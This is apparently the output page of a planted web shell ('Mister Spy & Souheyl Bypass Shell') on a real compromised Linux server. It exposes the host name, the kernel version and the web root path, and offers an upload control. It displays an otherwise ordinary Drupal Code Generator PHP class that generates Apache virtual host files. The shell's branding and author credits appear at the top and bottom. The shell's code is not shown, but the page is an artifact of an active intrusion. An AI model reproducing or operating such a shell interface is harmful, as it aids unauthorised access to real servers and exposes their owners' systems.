Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/vendor/chi-teck/drupal-code-generator/src/Command/Misc/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/vendor/chi-teck/drupal-code-generator/src/Command/Misc/ApacheVirtualHost.php

<?php declare(strict_types=1);

namespace DrupalCodeGenerator\Command\Misc;

use DrupalCodeGenerator\Application;
use DrupalCodeGenerator\Command\Generator;

/**
 * Implements misc:apache-virtual-host command.
 */
final class ApacheVirtualHost extends Generator {

  protected string $name = 'misc:apache-virtual-host';
  protected string $description = 'Generates an Apache site configuration file';
  protected string $alias = 'apache-virtual-host';
  protected string $templatePath = Application::TEMPLATE_PATH . '/misc/apache-virtual-host';

  /**
   * {@inheritdoc}
   */
  protected function generate(array &$vars): void {
    $validator = static function (?string $value): string {
      $value = self::validateRequired($value);
      if (!\filter_var($value, \FILTER_VALIDATE_DOMAIN, \FILTER_FLAG_HOSTNAME)) {
        throw new \UnexpectedValueException('The value is not correct domain name.');
      }
      return $value;
    };
    $vars['hostname'] = $this->ask('Host name', 'example.local', $validator);
    $vars['docroot'] = $this->ask('Document root', '/var/www/{hostname}/public');
    $this->addFile('{hostname}.conf', 'host');
    $this->addFile('{hostname}-ssl.conf', 'host-ssl');
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net